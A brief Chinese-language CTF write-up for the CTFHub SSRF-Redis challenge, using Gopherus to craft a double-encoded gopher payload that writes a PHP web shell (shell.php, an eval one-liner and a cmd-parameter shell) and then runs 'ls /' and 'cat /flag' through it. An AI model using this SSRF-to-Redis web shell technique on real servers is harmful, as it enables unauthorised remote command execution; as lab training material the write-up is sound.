CTFHUB-SSRF-Redis协议

本题需要用到：

在线编码网址：https://icyberchef.com/

gopherus工具链接: Gopherus工具的下载、使用-CSDN博客

开启题目，页面空白

和上一个题FastCGI协议一样，还是使用gopherus攻击redis

./gopherus.py --exploit redis
第二行默认是/var/www/html，可以不输直接回车
<?php eval($_post["123"]);?>

得到了这些， 发现已经自动把%0a转换成%0d%0a了，我们对他二次编码

编码后的这一串放进url访问，等了很久，他返回504超时了，但是应该传上去了，使用蚁剑连接，位置是shell.php，使用蚁剑连接没有连上去，不知道为什么，那就换一种方法

回到刚才第一步，除了第一步选择PHPShell，其他都默认，默认文件名为shell.php，默认命令参数是cmd

得到了编码，对它再进行一次编码

放入url访问，等了很久还是返回504

访问shell.php成功了 ,url写入

shell.php/?cmd=ls /

看到了flag，cat读取flag，就得到了我们需要的flag

shell.php/?cmd=cat /flag_b22135bb6e61395d1e90b103e7cf760f